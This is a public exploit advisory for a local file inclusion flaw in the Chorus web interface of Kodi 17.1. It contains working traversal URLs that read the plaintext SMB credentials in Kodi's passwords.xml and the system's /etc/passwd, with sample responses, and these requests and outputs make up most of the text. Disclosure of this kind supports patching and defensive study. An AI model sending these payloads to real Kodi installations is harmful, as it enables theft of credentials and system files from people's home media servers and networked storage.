Kodi 17.1 Arbitrary File Disclosure

`# Exploit Title: Kodi - Local File Inclusion  
# Date: 12 February 2017  
# Exploit Author: Eric Flokstra  
# Vendor Homepage: https://kodi.tv/  
# Software Link: https://kodi.tv/download/  
# Version: Kodi version 17.1 (Krypton), Chorus version 2.4.2  
# Tested on: Linux  
  
Kodi (formerly XBMC) is a free and open-source media player software  
application developed by the XBMC Foundation. Chorus is a web interface  
for controlling and interacting with Kodi. It is hosted by the Kodi  
installation.  
  
The web interface loads a thumbnail of an image, video or add-on when  
selecting a category in the left menu with the following request:  
  
http://192.168.1.25:8080/image/image%3A%2F%2F%252fhome%252fosmc%252f.kodi%252faddons%252fplugin.video.vice%252ficon.png%2F  
  
Insufficient validation of user input is performed on this URL resulting  
in a local file inclusion vulnerability. This enables attackers  
to retrieve arbitrary files from the filesystem by changing the location  
after the '/image/image%3A%2F%2Fa part.  
  
<--Examples-->  
  
1) If Kodi is connected to a NAS the following request can be used to obtain plain text SMB credentials:  
  
http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fhome%252fosmc%252f.kodi%252fuserdata%252fpasswords.xml  
  
Response:  
  
<passwords><path><from pathversion="1">smb://192.168.1.15/</from><to  
pathversion="1">smb://username:[email protected]//share</to></path></passwords>  
  
2) Request to retrieve the content of /etc/passwd:  
  
http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd  
  
Response:  
  
root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
...  
  
`